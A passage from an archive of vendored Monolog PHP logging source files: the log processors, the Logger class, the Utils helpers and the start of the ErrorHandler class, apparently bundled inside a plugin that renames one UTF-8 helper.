is also skipped array_shift($trace); $i = 0; while ($this->isTraceClassOrSkippedFunction($trace, $i)) { if (isset($trace[$i]['class'])) { foreach ($this->skipClassesPartials as $part) { if (strpos($trace[$i]['class'], $part) !== false) { $i++; continue 2; } } } elseif (in_array($trace[$i]['function'], $this->skipFunctions)) { $i++; continue; } break; } $i += $this->skipStackFramesCount; // we should have the call source now $record['extra'] = array_merge( $record['extra'], [ 'file' => isset($trace[$i - 1]['file']) ? $trace[$i - 1]['file'] : null, 'line' => isset($trace[$i - 1]['line']) ? $trace[$i - 1]['line'] : null, 'class' => isset($trace[$i]['class']) ? $trace[$i]['class'] : null, 'callType' => isset($trace[$i]['type']) ? $trace[$i]['type'] : null, 'function' => isset($trace[$i]['function']) ? $trace[$i]['function'] : null, ] ); return $record; } /** * @param array[] $trace */ private function isTraceClassOrSkippedFunction(array $trace, int $index): bool { if (!isset($trace[$index])) { return false; } return isset($trace[$index]['class']) || in_array($trace[$index]['function'], $this->skipFunctions); } } res/readability/vendor/monolog/monolog/src/Monolog/Processor/TagProcessor.php000064400000002142147577714370023600 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; /** * Adds a tags array into record * * @author Martijn Riemers */ class TagProcessor implements ProcessorInterface { /** @var string[] */ private $tags; /** * @param string[] $tags */ public function __construct(array $tags = []) { $this->setTags($tags); } /** * @param string[] $tags */ public function addTags(array $tags = []): self { $this->tags = array_merge($this->tags, $tags); return $this; } /** * @param string[] $tags */ public function setTags(array $tags = []): self { $this->tags = $tags; return $this; } /** * {@inheritDoc} */ public function __invoke(array $record): array { $record['extra']['tags'] = $this->tags; return $record; } } res/readability/vendor/monolog/monolog/src/Monolog/Processor/WebProcessor.php000064400000006716147577714370023615 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; /** * Injects url/method and remote IP of the current web request in all records * * @author Jordi Boggiano */ class WebProcessor implements ProcessorInterface { /** * @var array|\ArrayAccess */ protected $serverData; /** * Default fields * * Array is structured as [key in record.extra => key in $serverData] * * @var array */ protected $extraFields = [ 'url' => 'REQUEST_URI', 'ip' => 'REMOTE_ADDR', 'http_method' => 'REQUEST_METHOD', 'server' => 'SERVER_NAME', 'referrer' => 'HTTP_REFERER', 'user_agent' => 'HTTP_USER_AGENT', ]; /** * @param array|\ArrayAccess|null $serverData Array or object w/ ArrayAccess that provides access to the $_SERVER data * @param array|array|null $extraFields Field names and the related key inside $serverData to be added (or just a list of field names to use the default configured $serverData mapping). If not provided it defaults to: [url, ip, http_method, server, referrer] + unique_id if present in server data */ public function __construct($serverData = null, array $extraFields = null) { if (null === $serverData) { $this->serverData = &$_SERVER; } elseif (is_array($serverData) || $serverData instanceof \ArrayAccess) { $this->serverData = $serverData; } else { throw new \UnexpectedValueException('$serverData must be an array or object implementing ArrayAccess.'); } $defaultEnabled = ['url', 'ip', 'http_method', 'server', 'referrer']; if (isset($this->serverData['UNIQUE_ID'])) { $this->extraFields['unique_id'] = 'UNIQUE_ID'; $defaultEnabled[] = 'unique_id'; } if (null === $extraFields) { $extraFields = $defaultEnabled; } if (isset($extraFields[0])) { foreach (array_keys($this->extraFields) as $fieldName) { if (!in_array($fieldName, $extraFields)) { unset($this->extraFields[$fieldName]); } } } else { $this->extraFields = $extraFields; } } /** * {@inheritDoc} */ public function __invoke(array $record): array { // skip processing if for some reason request data // is not present (CLI or wonky SAPIs) if (!isset($this->serverData['REQUEST_URI'])) { return $record; } $record['extra'] = $this->appendExtraFields($record['extra']); return $record; } public function addExtraField(string $extraName, string $serverName): self { $this->extraFields[$extraName] = $serverName; return $this; } /** * @param mixed[] $extra * @return mixed[] */ private function appendExtraFields(array $extra): array { foreach ($this->extraFields as $extraName => $serverName) { $extra[$extraName] = $this->serverData[$serverName] ?? null; } return $extra; } } res/readability/vendor/monolog/monolog/src/Monolog/Processor/UidProcessor.php000064400000002431147577714370023607 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; use Monolog\ResettableInterface; /** * Adds a unique identifier into records * * @author Simon Mönch */ class UidProcessor implements ProcessorInterface, ResettableInterface { /** @var string */ private $uid; public function __construct(int $length = 7) { if ($length > 32 || $length < 1) { throw new \InvalidArgumentException('The uid length must be an integer between 1 and 32'); } $this->uid = $this->generateUid($length); } /** * {@inheritDoc} */ public function __invoke(array $record): array { $record['extra']['uid'] = $this->uid; return $record; } public function getUid(): string { return $this->uid; } public function reset() { $this->uid = $this->generateUid(strlen($this->uid)); } private function generateUid(int $length): string { return substr(bin2hex(random_bytes((int) ceil($length / 2))), 0, $length); } } res/readability/vendor/monolog/monolog/src/Monolog/Processor/PsrLogMessageProcessor.php000064400000005506147577714370025607 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; use Monolog\Utils; /** * Processes a record's message according to PSR-3 rules * * It replaces {foo} with the value from $context['foo'] * * @author Jordi Boggiano */ class PsrLogMessageProcessor implements ProcessorInterface { public const SIMPLE_DATE = "Y-m-d\TH:i:s.uP"; /** @var string|null */ private $dateFormat; /** @var bool */ private $removeUsedContextFields; /** * @param string|null $dateFormat The format of the timestamp: one supported by DateTime::format * @param bool $removeUsedContextFields If set to true the fields interpolated into message gets unset */ public function __construct(?string $dateFormat = null, bool $removeUsedContextFields = false) { $this->dateFormat = $dateFormat; $this->removeUsedContextFields = $removeUsedContextFields; } /** * {@inheritDoc} */ public function __invoke(array $record): array { if (false === strpos($record['message'], '{')) { return $record; } $replacements = []; foreach ($record['context'] as $key => $val) { $placeholder = '{' . $key . '}'; if (strpos($record['message'], $placeholder) === false) { continue; } if (is_null($val) || is_scalar($val) || (is_object($val) && method_exists($val, "__toString"))) { $replacements[$placeholder] = $val; } elseif ($val instanceof \DateTimeInterface) { if (!$this->dateFormat && $val instanceof \Monolog\DateTimeImmutable) { // handle monolog dates using __toString if no specific dateFormat was asked for // so that it follows the useMicroseconds flag $replacements[$placeholder] = (string) $val; } else { $replacements[$placeholder] = $val->format($this->dateFormat ?: static::SIMPLE_DATE); } } elseif (is_object($val)) { $replacements[$placeholder] = '[object '.Utils::getClass($val).']'; } elseif (is_array($val)) { $replacements[$placeholder] = 'array'.Utils::jsonEncode($val, null, true); } else { $replacements[$placeholder] = '['.gettype($val).']'; } if ($this->removeUsedContextFields) { unset($record['context'][$key]); } } $record['message'] = strtr($record['message'], $replacements); return $record; } } res/readability/vendor/monolog/monolog/src/Monolog/Processor/ProcessIdProcessor.php000064400000001137147577714370024763 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; /** * Adds value of getmypid into records * * @author Andreas Hörnicke */ class ProcessIdProcessor implements ProcessorInterface { /** * {@inheritDoc} */ public function __invoke(array $record): array { $record['extra']['process_id'] = getmypid(); return $record; } } res/readability/vendor/monolog/monolog/src/Monolog/Processor/GitProcessor.php000064400000003625147577714370023617 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; use Monolog\Logger; use Psr\Log\LogLevel; /** * Injects Git branch and Git commit SHA in all records * * @author Nick Otter * @author Jordi Boggiano * * @phpstan-import-type Level from \Monolog\Logger * @phpstan-import-type LevelName from \Monolog\Logger */ class GitProcessor implements ProcessorInterface { /** @var int */ private $level; /** @var array{branch: string, commit: string}|array|null */ private static $cache = null; /** * @param string|int $level The minimum logging level at which this Processor will be triggered * * @phpstan-param Level|LevelName|LogLevel::* $level */ public function __construct($level = Logger::DEBUG) { $this->level = Logger::toMonologLevel($level); } /** * {@inheritDoc} */ public function __invoke(array $record): array { // return if the level is not high enough if ($record['level'] < $this->level) { return $record; } $record['extra']['git'] = self::getGitInfo(); return $record; } /** * @return array{branch: string, commit: string}|array */ private static function getGitInfo(): array { if (self::$cache) { return self::$cache; } $branches = `git branch -v --no-abbrev`; if ($branches && preg_match('{^\* (.+?)\s+([a-f0-9]{40})(?:\s|$)}m', $branches, $matches)) { return self::$cache = [ 'branch' => $matches[1], 'commit' => $matches[2], ]; } return self::$cache = []; } } res/readability/vendor/monolog/monolog/src/Monolog/Processor/HostnameProcessor.php000064400000001324147577714370024644 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; /** * Injects value of gethostname in all records */ class HostnameProcessor implements ProcessorInterface { /** @var string */ private static $host; public function __construct() { self::$host = (string) gethostname(); } /** * {@inheritDoc} */ public function __invoke(array $record): array { $record['extra']['hostname'] = self::$host; return $record; } } res/readability/vendor/monolog/monolog/src/Monolog/Processor/MemoryProcessor.php000064400000003443147577714370024342 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; /** * Some methods that are common for all memory processors * * @author Rob Jensen */ abstract class MemoryProcessor implements ProcessorInterface { /** * @var bool If true, get the real size of memory allocated from system. Else, only the memory used by emalloc() is reported. */ protected $realUsage; /** * @var bool If true, then format memory size to human readable string (MB, KB, B depending on size) */ protected $useFormatting; /** * @param bool $realUsage Set this to true to get the real size of memory allocated from system. * @param bool $useFormatting If true, then format memory size to human readable string (MB, KB, B depending on size) */ public function __construct(bool $realUsage = true, bool $useFormatting = true) { $this->realUsage = $realUsage; $this->useFormatting = $useFormatting; } /** * Formats bytes into a human readable string if $this->useFormatting is true, otherwise return $bytes as is * * @param int $bytes * @return string|int Formatted string if $this->useFormatting is true, otherwise return $bytes as int */ protected function formatBytes(int $bytes) { if (!$this->useFormatting) { return $bytes; } if ($bytes > 1024 * 1024) { return round($bytes / 1024 / 1024, 2).' MB'; } elseif ($bytes > 1024) { return round($bytes / 1024, 2).' KB'; } return $bytes . ' B'; } } res/readability/vendor/monolog/monolog/src/Monolog/Processor/ProcessorInterface.php000064400000001242147577714370024765 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; /** * An optional interface to allow labelling Monolog processors. * * @author Nicolas Grekas * * @phpstan-import-type Record from \Monolog\Logger */ interface ProcessorInterface { /** * @return array The processed record * * @phpstan-param Record $record * @phpstan-return Record */ public function __invoke(array $record); } res/readability/vendor/monolog/monolog/src/Monolog/Processor/MercurialProcessor.php000064400000003550147577714370025014 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; use Monolog\Logger; use Psr\Log\LogLevel; /** * Injects Hg branch and Hg revision number in all records * * @author Jonathan A. Schweder * * @phpstan-import-type LevelName from \Monolog\Logger * @phpstan-import-type Level from \Monolog\Logger */ class MercurialProcessor implements ProcessorInterface { /** @var Level */ private $level; /** @var array{branch: string, revision: string}|array|null */ private static $cache = null; /** * @param int|string $level The minimum logging level at which this Processor will be triggered * * @phpstan-param Level|LevelName|LogLevel::* $level */ public function __construct($level = Logger::DEBUG) { $this->level = Logger::toMonologLevel($level); } /** * {@inheritDoc} */ public function __invoke(array $record): array { // return if the level is not high enough if ($record['level'] < $this->level) { return $record; } $record['extra']['hg'] = self::getMercurialInfo(); return $record; } /** * @return array{branch: string, revision: string}|array */ private static function getMercurialInfo(): array { if (self::$cache) { return self::$cache; } $result = explode(' ', trim(`hg id -nb`)); if (count($result) >= 3) { return self::$cache = [ 'branch' => $result[1], 'revision' => $result[2], ]; } return self::$cache = []; } } res/readability/vendor/monolog/monolog/src/Monolog/Test/TestCase.php000064400000004045147577714370021644 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Test; use Monolog\Logger; use Monolog\DateTimeImmutable; use Monolog\Formatter\FormatterInterface; /** * Lets you easily generate log records and a dummy formatter for testing purposes * * @author Jordi Boggiano * * @phpstan-import-type Record from \Monolog\Logger * @phpstan-import-type Level from \Monolog\Logger */ class TestCase extends \PHPUnit\Framework\TestCase { /** * @param mixed[] $context * * @return array Record * * @phpstan-param Level $level * @phpstan-return Record */ protected function getRecord(int $level = Logger::WARNING, string $message = 'test', array $context = []): array { return [ 'message' => (string) $message, 'context' => $context, 'level' => $level, 'level_name' => Logger::getLevelName($level), 'channel' => 'test', 'datetime' => new DateTimeImmutable(true), 'extra' => [], ]; } /** * @phpstan-return Record[] */ protected function getMultipleRecords(): array { return [ $this->getRecord(Logger::DEBUG, 'debug message 1'), $this->getRecord(Logger::DEBUG, 'debug message 2'), $this->getRecord(Logger::INFO, 'information'), $this->getRecord(Logger::WARNING, 'warning'), $this->getRecord(Logger::ERROR, 'error'), ]; } protected function getIdentityFormatter(): FormatterInterface { $formatter = $this->createMock(FormatterInterface::class); $formatter->expects($this->any()) ->method('format') ->will($this->returnCallback(function ($record) { return $record['message']; })); return $formatter; } } res/readability/vendor/monolog/monolog/src/Monolog/Logger.php000064400000044331147577714370020433 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog; use DateTimeZone; use Monolog\Handler\HandlerInterface; use Psr\Log\LoggerInterface; use Psr\Log\InvalidArgumentException; use Psr\Log\LogLevel; use Throwable; use Stringable; /** * Monolog log channel * * It contains a stack of Handlers and a stack of Processors, * and uses them to store records that are added to it. * * @author Jordi Boggiano * * @phpstan-type Level Logger::DEBUG|Logger::INFO|Logger::NOTICE|Logger::WARNING|Logger::ERROR|Logger::CRITICAL|Logger::ALERT|Logger::EMERGENCY * @phpstan-type LevelName 'DEBUG'|'INFO'|'NOTICE'|'WARNING'|'ERROR'|'CRITICAL'|'ALERT'|'EMERGENCY' * @phpstan-type Record array{message: string, context: mixed[], level: Level, level_name: LevelName, channel: string, datetime: \DateTimeImmutable, extra: mixed[]} */ class Logger implements LoggerInterface, ResettableInterface { /** * Detailed debug information */ public const DEBUG = 100; /** * Interesting events * * Examples: User logs in, SQL logs. */ public const INFO = 200; /** * Uncommon events */ public const NOTICE = 250; /** * Exceptional occurrences that are not errors * * Examples: Use of deprecated APIs, poor use of an API, * undesirable things that are not necessarily wrong. */ public const WARNING = 300; /** * Runtime errors */ public const ERROR = 400; /** * Critical conditions * * Example: Application component unavailable, unexpected exception. */ public const CRITICAL = 500; /** * Action must be taken immediately * * Example: Entire website down, database unavailable, etc. * This should trigger the SMS alerts and wake you up. */ public const ALERT = 550; /** * Urgent alert. */ public const EMERGENCY = 600; /** * Monolog API version * * This is only bumped when API breaks are done and should * follow the major version of the library * * @var int */ public const API = 2; /** * This is a static variable and not a constant to serve as an extension point for custom levels * * @var array $levels Logging levels with the levels as key * * @phpstan-var array $levels Logging levels with the levels as key */ protected static $levels = [ self::DEBUG => 'DEBUG', self::INFO => 'INFO', self::NOTICE => 'NOTICE', self::WARNING => 'WARNING', self::ERROR => 'ERROR', self::CRITICAL => 'CRITICAL', self::ALERT => 'ALERT', self::EMERGENCY => 'EMERGENCY', ]; /** * @var string */ protected $name; /** * The handler stack * * @var HandlerInterface[] */ protected $handlers; /** * Processors that will process all log records * * To process records of a single handler instead, add the processor on that specific handler * * @var callable[] */ protected $processors; /** * @var bool */ protected $microsecondTimestamps = true; /** * @var DateTimeZone */ protected $timezone; /** * @var callable|null */ protected $exceptionHandler; /** * @psalm-param array $processors * * @param string $name The logging channel, a simple descriptive name that is attached to all log records * @param HandlerInterface[] $handlers Optional stack of handlers, the first one in the array is called first, etc. * @param callable[] $processors Optional array of processors * @param DateTimeZone|null $timezone Optional timezone, if not provided date_default_timezone_get() will be used */ public function __construct(string $name, array $handlers = [], array $processors = [], ?DateTimeZone $timezone = null) { $this->name = $name; $this->setHandlers($handlers); $this->processors = $processors; $this->timezone = $timezone ?: new DateTimeZone(date_default_timezone_get() ?: 'UTC'); } public function getName(): string { return $this->name; } /** * Return a new cloned instance with the name changed */ public function withName(string $name): self { $new = clone $this; $new->name = $name; return $new; } /** * Pushes a handler on to the stack. */ public function pushHandler(HandlerInterface $handler): self { array_unshift($this->handlers, $handler); return $this; } /** * Pops a handler from the stack * * @throws \LogicException If empty handler stack */ public function popHandler(): HandlerInterface { if (!$this->handlers) { throw new \LogicException('You tried to pop from an empty handler stack.'); } return array_shift($this->handlers); } /** * Set handlers, replacing all existing ones. * * If a map is passed, keys will be ignored. * * @param HandlerInterface[] $handlers */ public function setHandlers(array $handlers): self { $this->handlers = []; foreach (array_reverse($handlers) as $handler) { $this->pushHandler($handler); } return $this; } /** * @return HandlerInterface[] */ public function getHandlers(): array { return $this->handlers; } /** * Adds a processor on to the stack. */ public function pushProcessor(callable $callback): self { array_unshift($this->processors, $callback); return $this; } /** * Removes the processor on top of the stack and returns it. * * @throws \LogicException If empty processor stack * @return callable */ public function popProcessor(): callable { if (!$this->processors) { throw new \LogicException('You tried to pop from an empty processor stack.'); } return array_shift($this->processors); } /** * @return callable[] */ public function getProcessors(): array { return $this->processors; } /** * Control the use of microsecond resolution timestamps in the 'datetime' * member of new records. * * As of PHP7.1 microseconds are always included by the engine, so * there is no performance penalty and Monolog 2 enabled microseconds * by default. This function lets you disable them though in case you want * to suppress microseconds from the output. * * @param bool $micro True to use microtime() to create timestamps */ public function useMicrosecondTimestamps(bool $micro): self { $this->microsecondTimestamps = $micro; return $this; } /** * Adds a log record. * * @param int $level The logging level * @param string $message The log message * @param mixed[] $context The log context * @return bool Whether the record has been processed * * @phpstan-param Level $level */ public function addRecord(int $level, string $message, array $context = []): bool { $record = null; foreach ($this->handlers as $handler) { if (null === $record) { // skip creating the record as long as no handler is going to handle it if (!$handler->isHandling(['level' => $level])) { continue; } $levelName = static::getLevelName($level); $record = [ 'message' => $message, 'context' => $context, 'level' => $level, 'level_name' => $levelName, 'channel' => $this->name, 'datetime' => new DateTimeImmutable($this->microsecondTimestamps, $this->timezone), 'extra' => [], ]; try { foreach ($this->processors as $processor) { $record = $processor($record); } } catch (Throwable $e) { $this->handleException($e, $record); return true; } } // once the record exists, send it to all handlers as long as the bubbling chain is not interrupted try { if (true === $handler->handle($record)) { break; } } catch (Throwable $e) { $this->handleException($e, $record); return true; } } return null !== $record; } /** * Ends a log cycle and frees all resources used by handlers. * * Closing a Handler means flushing all buffers and freeing any open resources/handles. * Handlers that have been closed should be able to accept log records again and re-open * themselves on demand, but this may not always be possible depending on implementation. * * This is useful at the end of a request and will be called automatically on every handler * when they get destructed. */ public function close(): void { foreach ($this->handlers as $handler) { $handler->close(); } } /** * Ends a log cycle and resets all handlers and processors to their initial state. * * Resetting a Handler or a Processor means flushing/cleaning all buffers, resetting internal * state, and getting it back to a state in which it can receive log records again. * * This is useful in case you want to avoid logs leaking between two requests or jobs when you * have a long running process like a worker or an application server serving multiple requests * in one process. */ public function reset(): void { foreach ($this->handlers as $handler) { if ($handler instanceof ResettableInterface) { $handler->reset(); } } foreach ($this->processors as $processor) { if ($processor instanceof ResettableInterface) { $processor->reset(); } } } /** * Gets all supported logging levels. * * @return array Assoc array with human-readable level names => level codes. * @phpstan-return array */ public static function getLevels(): array { return array_flip(static::$levels); } /** * Gets the name of the logging level. * * @throws \Psr\Log\InvalidArgumentException If level is not defined * * @phpstan-param Level $level * @phpstan-return LevelName */ public static function getLevelName(int $level): string { if (!isset(static::$levels[$level])) { throw new InvalidArgumentException('Level "'.$level.'" is not defined, use one of: '.implode(', ', array_keys(static::$levels))); } return static::$levels[$level]; } /** * Converts PSR-3 levels to Monolog ones if necessary * * @param string|int $level Level number (monolog) or name (PSR-3) * @throws \Psr\Log\InvalidArgumentException If level is not defined * * @phpstan-param Level|LevelName|LogLevel::* $level * @phpstan-return Level */ public static function toMonologLevel($level): int { if (is_string($level)) { if (is_numeric($level)) { /** @phpstan-ignore-next-line */ return intval($level); } // Contains chars of all log levels and avoids using strtoupper() which may have // strange results depending on locale (for example, "i" will become "İ" in Turkish locale) $upper = strtr($level, 'abcdefgilmnortuwy', 'ABCDEFGILMNORTUWY'); if (defined(__CLASS__.'::'.$upper)) { return constant(__CLASS__ . '::' . $upper); } throw new InvalidArgumentException('Level "'.$level.'" is not defined, use one of: '.implode(', ', array_keys(static::$levels) + static::$levels)); } if (!is_int($level)) { throw new InvalidArgumentException('Level "'.var_export($level, true).'" is not defined, use one of: '.implode(', ', array_keys(static::$levels) + static::$levels)); } return $level; } /** * Checks whether the Logger has a handler that listens on the given level * * @phpstan-param Level $level */ public function isHandling(int $level): bool { $record = [ 'level' => $level, ]; foreach ($this->handlers as $handler) { if ($handler->isHandling($record)) { return true; } } return false; } /** * Set a custom exception handler that will be called if adding a new record fails * * The callable will receive an exception object and the record that failed to be logged */ public function setExceptionHandler(?callable $callback): self { $this->exceptionHandler = $callback; return $this; } public function getExceptionHandler(): ?callable { return $this->exceptionHandler; } /** * Adds a log record at an arbitrary level. * * This method allows for compatibility with common interfaces. * * @param mixed $level The log level * @param string|Stringable $message The log message * @param mixed[] $context The log context * * @phpstan-param Level|LevelName|LogLevel::* $level */ public function log($level, $message, array $context = []): void { if (!is_int($level) && !is_string($level)) { throw new \InvalidArgumentException('$level is expected to be a string or int'); } $level = static::toMonologLevel($level); $this->addRecord($level, (string) $message, $context); } /** * Adds a log record at the DEBUG level. * * This method allows for compatibility with common interfaces. * * @param string|Stringable $message The log message * @param mixed[] $context The log context */ public function debug($message, array $context = []): void { $this->addRecord(static::DEBUG, (string) $message, $context); } /** * Adds a log record at the INFO level. * * This method allows for compatibility with common interfaces. * * @param string|Stringable $message The log message * @param mixed[] $context The log context */ public function info($message, array $context = []): void { $this->addRecord(static::INFO, (string) $message, $context); } /** * Adds a log record at the NOTICE level. * * This method allows for compatibility with common interfaces. * * @param string|Stringable $message The log message * @param mixed[] $context The log context */ public function notice($message, array $context = []): void { $this->addRecord(static::NOTICE, (string) $message, $context); } /** * Adds a log record at the WARNING level. * * This method allows for compatibility with common interfaces. * * @param string|Stringable $message The log message * @param mixed[] $context The log context */ public function warning($message, array $context = []): void { $this->addRecord(static::WARNING, (string) $message, $context); } /** * Adds a log record at the ERROR level. * * This method allows for compatibility with common interfaces. * * @param string|Stringable $message The log message * @param mixed[] $context The log context */ public function error($message, array $context = []): void { $this->addRecord(static::ERROR, (string) $message, $context); } /** * Adds a log record at the CRITICAL level. * * This method allows for compatibility with common interfaces. * * @param string|Stringable $message The log message * @param mixed[] $context The log context */ public function critical($message, array $context = []): void { $this->addRecord(static::CRITICAL, (string) $message, $context); } /** * Adds a log record at the ALERT level. * * This method allows for compatibility with common interfaces. * * @param string|Stringable $message The log message * @param mixed[] $context The log context */ public function alert($message, array $context = []): void { $this->addRecord(static::ALERT, (string) $message, $context); } /** * Adds a log record at the EMERGENCY level. * * This method allows for compatibility with common interfaces. * * @param string|Stringable $message The log message * @param mixed[] $context The log context */ public function emergency($message, array $context = []): void { $this->addRecord(static::EMERGENCY, (string) $message, $context); } /** * Sets the timezone to be used for the timestamp of log records. */ public function setTimezone(DateTimeZone $tz): self { $this->timezone = $tz; return $this; } /** * Returns the timezone to be used for the timestamp of log records. */ public function getTimezone(): DateTimeZone { return $this->timezone; } /** * Delegates exception management to the custom exception handler, * or throws the exception if no custom handler is set. * * @param array $record * @phpstan-param Record $record */ protected function handleException(Throwable $e, array $record): void { if (!$this->exceptionHandler) { throw $e; } ($this->exceptionHandler)($e, $record); } } res/readability/vendor/monolog/monolog/src/Monolog/Utils.php000064400000022360147577714370020312 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog; final class Utils { const DEFAULT_JSON_FLAGS = JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE | JSON_PRESERVE_ZERO_FRACTION | JSON_INVALID_UTF8_SUBSTITUTE | JSON_PARTIAL_OUTPUT_ON_ERROR; public static function getClass(object $object): string { $class = \get_class($object); if (false === ($pos = \strpos($class, "@anonymous\0"))) { return $class; } if (false === ($parent = \get_parent_class($class))) { return \substr($class, 0, $pos + 10); } return $parent . '@anonymous'; } public static function substr(string $string, int $start, ?int $length = null): string { if (extension_loaded('mbstring')) { return mb_strcut($string, $start, $length); } return substr($string, $start, (null === $length) ? strlen($string) : $length); } /** * Makes sure if a relative path is passed in it is turned into an absolute path * * @param string $streamUrl stream URL or path without protocol */ public static function canonicalizePath(string $streamUrl): string { $prefix = ''; if ('file://' === substr($streamUrl, 0, 7)) { $streamUrl = substr($streamUrl, 7); $prefix = 'file://'; } // other type of stream, not supported if (false !== strpos($streamUrl, '://')) { return $streamUrl; } // already absolute if (substr($streamUrl, 0, 1) === '/' || substr($streamUrl, 1, 1) === ':' || substr($streamUrl, 0, 2) === '\\\\') { return $prefix.$streamUrl; } $streamUrl = getcwd() . '/' . $streamUrl; return $prefix.$streamUrl; } /** * Return the JSON representation of a value * * @param mixed $data * @param int $encodeFlags flags to pass to json encode, defaults to DEFAULT_JSON_FLAGS * @param bool $ignoreErrors whether to ignore encoding errors or to throw on error, when ignored and the encoding fails, "null" is returned which is valid json for null * @throws \RuntimeException if encoding fails and errors are not ignored * @return string when errors are ignored and the encoding fails, "null" is returned which is valid json for null */ public static function jsonEncode($data, ?int $encodeFlags = null, bool $ignoreErrors = false): string { if (null === $encodeFlags) { $encodeFlags = self::DEFAULT_JSON_FLAGS; } if ($ignoreErrors) { $json = @json_encode($data, $encodeFlags); if (false === $json) { return 'null'; } return $json; } $json = json_encode($data, $encodeFlags); if (false === $json) { $json = self::handleJsonError(json_last_error(), $data); } return $json; } /** * Handle a json_encode failure. * * If the failure is due to invalid string encoding, try to clean the * input and encode again. If the second encoding attempt fails, the * initial error is not encoding related or the input can't be cleaned then * raise a descriptive exception. * * @param int $code return code of json_last_error function * @param mixed $data data that was meant to be encoded * @param int $encodeFlags flags to pass to json encode, defaults to JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE | JSON_PRESERVE_ZERO_FRACTION * @throws \RuntimeException if failure can't be corrected * @return string JSON encoded data after error correction */ public static function handleJsonError(int $code, $data, ?int $encodeFlags = null): string { if ($code !== JSON_ERROR_UTF8) { self::throwEncodeError($code, $data); } if (is_string($data)) { self::detectAndCleanUtf8($data); } elseif (is_array($data)) { array_walk_recursive($data, array('Monolog\Utils', 'detectAndCleanUtf8')); } else { self::throwEncodeError($code, $data); } if (null === $encodeFlags) { $encodeFlags = self::DEFAULT_JSON_FLAGS; } $json = json_encode($data, $encodeFlags); if ($json === false) { self::throwEncodeError(json_last_error(), $data); } return $json; } /** * @internal */ public static function pcreLastErrorMessage(int $code): string { if (PHP_VERSION_ID >= 80000) { return preg_last_error_msg(); } $constants = (get_defined_constants(true))['pcre']; $constants = array_filter($constants, function ($key) { return substr($key, -6) == '_ERROR'; }, ARRAY_FILTER_USE_KEY); $constants = array_flip($constants); return $constants[$code] ?? 'UNDEFINED_ERROR'; } /** * Throws an exception according to a given code with a customized message * * @param int $code return code of json_last_error function * @param mixed $data data that was meant to be encoded * @throws \RuntimeException * * @return never */ private static function throwEncodeError(int $code, $data): void { switch ($code) { case JSON_ERROR_DEPTH: $msg = 'Maximum stack depth exceeded'; break; case JSON_ERROR_STATE_MISMATCH: $msg = 'Underflow or the modes mismatch'; break; case JSON_ERROR_CTRL_CHAR: $msg = 'Unexpected control character found'; break; case JSON_ERROR_UTF8: $msg = 'Malformed UTF-8 characters, possibly incorrectly encoded'; break; default: $msg = 'Unknown error'; } throw new \RuntimeException('JSON encoding failed: '.$msg.'. Encoding: '.var_export($data, true)); } /** * Detect invalid UTF-8 string characters and convert to valid UTF-8. * * Valid UTF-8 input will be left unmodified, but strings containing * invalid UTF-8 codepoints will be reencoded as UTF-8 with an assumed * original encoding of ISO-8859-15. This conversion may result in * incorrect output if the actual encoding was not ISO-8859-15, but it * will be clean UTF-8 output and will not rely on expensive and fragile * detection algorithms. * * Function converts the input in place in the passed variable so that it * can be used as a callback for array_walk_recursive. * * @param mixed $data Input to check and convert if needed, passed by ref */ private static function detectAndCleanUtf8(&$data): void { if (is_string($data) && !preg_match('//u', $data)) { $data = preg_replace_callback( '/[\x80-\xFF]+/', function ($m) { return crawlomatic_utf8_encode($m[0]); }, $data ); if (!is_string($data)) { $pcreErrorCode = preg_last_error(); throw new \RuntimeException('Failed to preg_replace_callback: ' . $pcreErrorCode . ' / ' . self::pcreLastErrorMessage($pcreErrorCode)); } $data = str_replace( ['¤', '¦', '¨', '´', '¸', '¼', '½', '¾'], ['€', 'Š', 'š', 'Ž', 'ž', 'Œ', 'œ', 'Ÿ'], $data ); } } /** * Converts a string with a valid 'memory_limit' format, to bytes. * * @param string|false $val * @return int|false Returns an integer representing bytes. Returns FALSE in case of error. */ public static function expandIniShorthandBytes($val) { if (!is_string($val)) { return false; } // support -1 if ((int) $val < 0) { return (int) $val; } if (!preg_match('/^\s*(?\d+)(?:\.\d+)?\s*(?[gmk]?)\s*$/i', $val, $match)) { return false; } $val = (int) $match['val']; switch (strtolower($match['unit'] ?? '')) { case 'g': $val *= 1024; case 'm': $val *= 1024; case 'k': $val *= 1024; } return $val; } /** * @param array $record */ public static function getRecordMessageForException(array $record): string { $context = ''; $extra = ''; try { if ($record['context']) { $context = "\nContext: " . json_encode($record['context']); } if ($record['extra']) { $extra = "\nExtra: " . json_encode($record['extra']); } } catch (\Throwable $e) { // noop } return "\nThe exception occurred while attempting to log: " . $record['message'] . $context . $extra; } } res/readability/vendor/monolog/monolog/src/Monolog/ErrorHandler.php000064400000024353147577714370021605 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog; use Psr\Log\LoggerInterface; use Psr\Log\LogLevel; /** * Monolog error handler * * A facility to enable logging of runtime errors, exceptions and fatal errors. * * Quick setup: ErrorHandler::register($logger); * * @author Jordi Boggiano */ class ErrorHandler { /** @var LoggerInterface */ private $logger; /** @var ?callable */ private $previousExceptionHandler = null; /** @var array an array of class name to LogLevel::* constant mapping */ private $uncaughtExceptionLevelMap = []; /** @var callable|true|null */ private $previousErrorHandler = null; 